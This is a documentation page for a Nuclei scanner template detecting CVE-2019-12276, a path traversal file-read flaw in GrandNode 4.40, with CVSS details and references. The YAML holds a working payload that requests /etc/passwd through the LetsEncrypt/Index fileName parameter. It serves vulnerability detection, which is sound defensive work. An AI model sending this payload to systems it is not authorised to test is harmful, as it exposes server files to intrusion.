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GrandNode 4.40 - Local File Inclusion

ID: CVE-2019-12276

Severity: high

Author: daffainfo

Tags: cve,cve2019,packetstorm,lfi,grandnode

Description

Section titled “Description”

GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.

YAML Source

Section titled “YAML Source”
id: CVE-2019-12276


info:
  name: GrandNode 4.40 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the entire system.
  remediation: |
    A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
  reference:
    - https://security401.com/grandnode-path-traversal/
    - https://grandnode.com
    - https://github.com/grandnode/grandnode
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12276
    - http://packetstormsecurity.com/files/153373/GrandNode-4.40-Path-Traversal-File-Download.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-12276
    cwe-id: CWE-22
    epss-score: 0.95661
    epss-percentile: 0.99411
    cpe: cpe:2.3:a:grandnode:grandnode:4.40:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grandnode
    product: grandnode
  tags: cve,cve2019,packetstorm,lfi,grandnode


http:
  - method: GET
    path:
      - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"


    headers:
      Connection: close


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502203a12143bd0618445aef390ef34a4feab76938a0006eb7e034e35da91c76b8ed1022100a9d90262bd008235b9167eefed7ac07838c86b0957f4aa7005f86997ed3c47a8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-12276.yaml"

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